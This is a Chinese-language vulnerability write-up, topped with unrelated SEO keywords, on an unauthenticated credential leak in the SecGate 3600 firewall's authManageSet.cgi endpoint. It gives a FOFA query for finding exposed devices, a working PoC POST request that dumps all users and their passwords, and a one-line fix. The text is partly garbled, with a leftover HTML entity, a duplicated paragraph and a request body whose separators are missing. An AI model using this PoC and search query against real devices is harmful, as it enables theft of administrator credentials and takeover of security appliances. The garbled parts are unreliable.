公司网站建设接单,广州网页制作网站维护,北京官网seo,品牌设计是做什么漏洞概述
网神SecGate 3600 authManageSet.cgi 接口存在敏感信息泄露漏洞#xff0c;未授权得攻击者可以通过此漏洞获取控制台管理员用户名密码等凭据#xff0c;可登录控制整个后台#xff0c;使系统处于极不安全的状态
复现环境
FOFA#xff1a;bodysec_gate_im…漏洞概述
网神SecGate 3600 authManageSet.cgi 接口存在敏感信息泄露漏洞未授权得攻击者可以通过此漏洞获取控制台管理员用户名密码等凭据可登录控制整个后台使系统处于极不安全的状态
复现环境
FOFAbodysec_gate_image/login_02.gif
PoC
POST /cgi-bin/authUser/authManageSet.cgi HTTP/1.1
Host: your-ip
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
Connection: closetypegetAllUsers_searchfalsend1645000391264rows-1page1sidxsordasc
验证 修复建议
关闭互联网暴露面或删除相关页面
升级至安全版本
